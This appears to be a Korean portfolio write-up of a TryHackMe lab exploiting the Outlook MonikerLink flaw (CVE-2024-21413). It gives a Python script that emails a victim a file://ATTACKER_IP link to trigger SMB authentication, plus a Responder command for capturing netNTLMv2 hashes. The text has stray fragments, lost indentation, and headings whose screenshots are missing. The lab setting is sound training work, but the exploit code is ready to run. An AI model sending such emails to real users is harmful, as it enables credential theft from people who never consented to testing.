
개요: HTML 이메일에서 Moniker Link를 사용해 Outlook의 SMB 연결을 트리거하고, Responder를 통해 피해자의 netNTLMv2 해시를 캡처할 수 있게 하는 실용적인 PoC입니다. 침투 테스트, 스크립팅, 네트워크 프로토콜 분석의 실무 기술을 보여줍니다.
file://)가 포함된 HTML 이메일을 전송합니다.# exploit.py (trimmed)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender = '[email protected]'
receiver = '[email protected]'
mailserver = '10.201.52.124' # THM SMTP server
password = input('Enter attacker email password: ')
html = '<p><a href="file://ATTACKER_IP/test!exploit">Click me</a></p>'
msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))
with smtplib.SMTP(mailserver, 25) as s:
s.ehlo()
s.login(sender, password)
s.sendmail(sender, [receiver], msg.as_string())
print('Email delivered')
팁: 실행 전에 ATTACKER_IP와 mailserver를 교체하세요. TryHackMe 실습 환경에서는 비밀번호가 attacker입니다.
responder -I ens5
ens5를 자신의 네트워크 인터페이스 이름으로 교체하세요.
/etc/resolv.conf 문제 해결때때로 /etc/resolv.conf의 깨진 심볼릭 링크로 인해 Responder가 실패할 수 있습니다. 다음과 같이 수정합니다:
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf
강조된 기술: Linux 문제 해결, DNS 구성, 클라우드/VM 환경에 도구 적용.
오류 / Resolv.conf 문제:`

DNS 수정 적용:

Python 이메일 스크립트:

익스플로잇 전달:

피해자 받은 편지함:

캡처된 피해자 해시:

TryHackMe MonikerLink 실습 및 CMNatic의 원본 PoC(GitHub)에서 각색됨